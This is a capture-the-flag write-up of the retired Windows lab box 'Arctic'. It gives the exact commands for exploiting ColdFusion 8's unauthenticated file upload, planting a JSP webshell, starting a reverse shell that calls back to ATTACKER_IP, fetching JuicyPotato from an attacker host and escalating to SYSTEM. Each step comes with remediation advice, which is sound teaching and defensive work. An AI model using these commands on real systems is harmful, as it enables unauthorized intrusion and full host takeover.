jperezduerto.info
Arctic
Windows· Easy· Web
Summary
I found Adobe ColdFusion 8 exposed directly on the internet, matched it to a 2009 public exploit that allows file uploads with no credentials, and planted a JSP webshell in the web root. That gave command execution as the ColdFusion service account, which carried SeImpersonatePrivilege.
I used JuicyPotato to convert that privilege into a SYSTEM-level process token via COM-based token impersonation, achieving full control of the Windows host without ever logging in or cracking a password.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
1ReconnaissanceHTTP banner grabbing / service fingerprinting
Fingerprinted ColdFusion 8 on an internet-facing port
The application server was reachable from the internet on TCP/8500 with no firewall or network control in front of it. An HTTP request to the ColdFusion administrator path returned an HTTP 200, set CFID and CFTOKEN session cookies, and emitted a JRun Server response header. That single response told I the exact product and version, which was sufficient to pull a targeted exploit from a public database.
Curl -I http://$TARGET:8500/CFIDE/administrator/index.cfm returned HTTP 200 with CFID/CFTOKEN cookies and a JRun Server header confirming ColdFusion 8.
Exact commands 1
Response headers reveal product (JRun), version signal (CFID/CFTOKEN), and confirm the admin console is reachable with no auth challenge.
curl -sS -I http://$TARGET:8500/CFIDE/administrator/index.cfmFixRemove direct internet exposure of the ColdFusion application serverHigh
WeaknessThe ColdFusion server was reachable from the internet on TCP/8500 with no network control in front of it. The HTTP response headers revealed the exact product and version, turning passive browsing into targeted exploit selection in seconds.
FixPlace ColdFusion behind a reverse proxy or load balancer that terminates external connections and strips Server headers before forwarding. Block direct access to TCP/8500 at the perimeter firewall so no internet host can reach the JRun listener. Restrict the ColdFusion administrator console (/CFIDE/administrator/) to a dedicated management VLAN or VPN segment only -- it should never be reachable from the internet.
2Vulnerability identificationPublic exploit research via searchsploit / Exploit-DB
Located a 2009 public exploit for unauthenticated file upload (CVE-2009-2265)
Searching the public Exploit-DB against 'ColdFusion 8' immediately returned EDB-50057, a well-documented unauthenticated arbitrary file upload through the FCKeditor file-manager connector that ships with ColdFusion 8. The CVE was assigned in 2009. This server had been running the vulnerable version for roughly 15 years without a patch.
Exact commands 2
Lists all matching Exploit-DB entries; CVE-2009-2265 / EDB-50057 appears immediately.
searchsploit -w 'ColdFusion 8'Prints the local filesystem path to the exploit script for review and adaptation.
searchsploit -p 500573Initial access -- file uploadUnauthenticated arbitrary file upload -- CVE-2009-2265 / EDB-50057
Uploaded an arbitrary file to the server with no credentials via the FCKeditor connector
The FCKeditor file-manager connector endpoint at /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connector/jsp/connector accepts HTTP multipart file uploads from any unauthenticated caller. Uploading a benign text file confirmed that the upload succeeded and that the stored file was immediately retrievable under /userfiles/file/, meaning any file placed there is directly web-accessible.
OnUploadCompleted(0, "/userfiles/file/test1782961200.txt ..."); URL=http://$TARGET:8500/userfiles/
Exact commands 1
The JSON response body contains the stored path under /userfiles/file/. Any file type is accepted.
echo 'probe' > test.txt && curl -sS -F "newfile=@test.txt;filename=test.txt" "http://$TARGET:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connector/jsp/connector?Command=FileUpload&Type=File&Currentfolder=/"FixPatch or remove the ColdFusion 8 FCKeditor file-upload connectorCritical
WeaknessColdFusion 8 ships with an FCKeditor file-manager connector that accepts arbitrary file uploads from any caller with no authentication, no file-type restriction, and no token validation (CVE-2009-2265). Any uploaded file lands in a directory served directly by the JSP engine and executes on first request. This has been a known critical vulnerability since 2009.
FixUpgrade to a supported ColdFusion release (2021 or 2023) and apply all current vendor security patches. If an immediate upgrade is not possible: remove or block the FCKeditor connector path (/CFIDE/scripts/ajax/FCKeditor/) at the web server or reverse proxy layer; configure all file upload handlers to enforce an allow-list of safe MIME types and file extensions; serve uploaded files from a directory that is outside the web root or is mapped as non-executable so that even if a file is uploaded it cannot be invoked as a servlet.
4Initial access -- webshellJSP webshell deployment via unauthenticated file upload
Planted a JSP webshell and gained remote command execution as arctic\tolis
A JSP file containing a minimal command-execution servlet (reads a URL parameter, passes it to cmd.exe /c, returns the output) was uploaded through the same unauthenticated endpoint. Because ColdFusion's JRun engine serves all files under /userfiles/file/ as live JSP, fetching the uploaded file caused the servlet engine to compile and run it. The resulting process ran as arctic\tolis, the account under which the ColdFusion service operates.
SHELL=.../cf1782961228.jsp response: 'arctic\tolis arctic Microsoft Windows [Version 6.1.7600]'
Exact commands 2
Upload the JSP webshell; note the stored path from the response (e.g. /userfiles/file/cmd.jsp).
curl -sS -F "newfile=@cmd.jsp;filename=cmd.jsp" "http://$TARGET:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connector/jsp/connector?Command=FileUpload&Type=File&Currentfolder=/"Confirm execution -- should return arctic\tolis.
curl -sS --get --data-urlencode 'cmd=whoami' "http://$TARGET:8500/userfiles/file/cmd.jsp"5CollectionWebshell command execution -- file read
Read the user-level flag from tolis's Desktop
With command execution established as arctic\tolis, I read the user flag from the account's Desktop directory using a single webshell request. No additional credentials, lateral movement, or tooling were required.
User.txt confirmed present and readable at C:\Users\tolis\Desktop\user.txt.
Exact commands 1
Returns <user.txt> -- the user-level proof of access.
curl -sS --get --data-urlencode 'cmd=powershell -NoP -C "Get-Content C:\\Users\\tolis\\Desktop\\user.txt"' "http://$TARGET:8500/userfiles/file/cmd.jsp"6Shell upgradeJSP reverse shell via msfvenom / java/jsp_shell_reverse_tcp
Replaced the single-command webshell with an interactive reverse shell
A webshell that accepts one command at a time is slow and unreliable for privilege escalation work. I used the same unauthenticated upload endpoint to plant a msfvenom-generated JSP reverse shell, then triggered it to call back to a netcat listener, producing a full interactive shell session as arctic\tolis.
Exact commands 4
Generate a JSP reverse shell payload; substitute $ATTACKER_IP with your listener address.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4445 -o rs.jspUpload the reverse shell through the same unauthenticated endpoint.
curl -sS -F "newfile=@rs.jsp;filename=rs.jsp" "http://$TARGET:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connector/jsp/connector?Command=FileUpload&Type=File&Currentfolder=/"Start the listener in a separate terminal before triggering the shell.
nc -lvnp 4445Requesting the uploaded file causes JRun to execute it, triggering the callback.
curl -sS "http://$TARGET:8500/userfiles/file/rs.jsp"7Privilege escalationToken impersonation via SeImpersonatePrivilege -- JuicyPotato
Escalated to NT AUTHORITY\SYSTEM by abusing SeImpersonatePrivilege with JuicyPotato
Running whoami /priv inside the interactive shell showed the arctic\tolis token held SeImpersonatePrivilege. This right, commonly granted to service accounts, allows the holder to impersonate any token presented to it during an authentication handshake. JuicyPotato exploits this by starting a COM server that induces SYSTEM to authenticate locally via NTLM, then captures and impersonates the resulting SYSTEM token to call CreateProcessWithTokenW -- spawning any chosen process as SYSTEM. C:\Windows\Temp was not writable by this account, so JuicyPotato was staged in the user's own AppData\Local\Temp instead.
Jp.exe -t * -l 1337 completed with authresult 0; whoami output returned nt authority\system.
Exact commands 4
Run from the interactive shell to confirm SeImpersonatePrivilege is listed as Enabled.
whoami /privFetch JuicyPotato to a user-writable path; C:\Windows\Temp is ACL-locked for this account.
certutil -urlcache -f http://$ATTACKER_IP:9000/JuicyPotato.exe C:\Users\tolis\AppData\Local\Temp\jp.exe-t * tries both CreateProcessWithTokenW and CreateProcessAsUser; -l sets the local COM listener port.
C:\Users\tolis\AppData\Local\Temp\jp.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Users\tolis\Desktop\jp_out.txt 2>&1"Should read: nt authority\system -- confirms full escalation.
type C:\Users\tolis\Desktop\jp_out.txtFixRemove SeImpersonatePrivilege from the ColdFusion service accountHigh
WeaknessThe ColdFusion service ran as arctic\tolis, an account that held SeImpersonatePrivilege. Anyone who gains code execution through the web application automatically inherits this right and can escalate to NT AUTHORITY\SYSTEM using readily available tools (JuicyPotato, PrintSpoofer, GodPotato, RoguePotato) with no further exploitation required.
FixCreate a dedicated least-privilege local service account for ColdFusion that holds only the permissions the application needs to read its own files, write logs, and bind to its port. Remove SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege from that account through Group Policy under Computer Configuration > Windows Settings > Security Settings > Local Policies > User Rights Assignment. Audit all service accounts on a schedule to confirm no unnecessary privileges have accumulated.
8CollectionPost-exploitation file access as SYSTEM
Read the Administrator's flag as NT AUTHORITY\SYSTEM
A SYSTEM-level process token can read any file on the local machine regardless of NTFS ACLs. I reused JuicyPotato to run a single cmd.exe command that copied root.txt to a location readable by the tolis account, completing the full compromise chain.
Exact commands 2
JuicyPotato runs cmd.exe as SYSTEM; output is written to a path tolis can read back.
C:\Users\tolis\AppData\Local\Temp\jp.exe -t * -l 1338 -p C:\Windows\System32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\root.txt > C:\Users\tolis\Desktop\root_out.txt 2>&1"Returns <root.txt> -- confirms full administrative control of the host.
type C:\Users\tolis\Desktop\root_out.txtAttack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.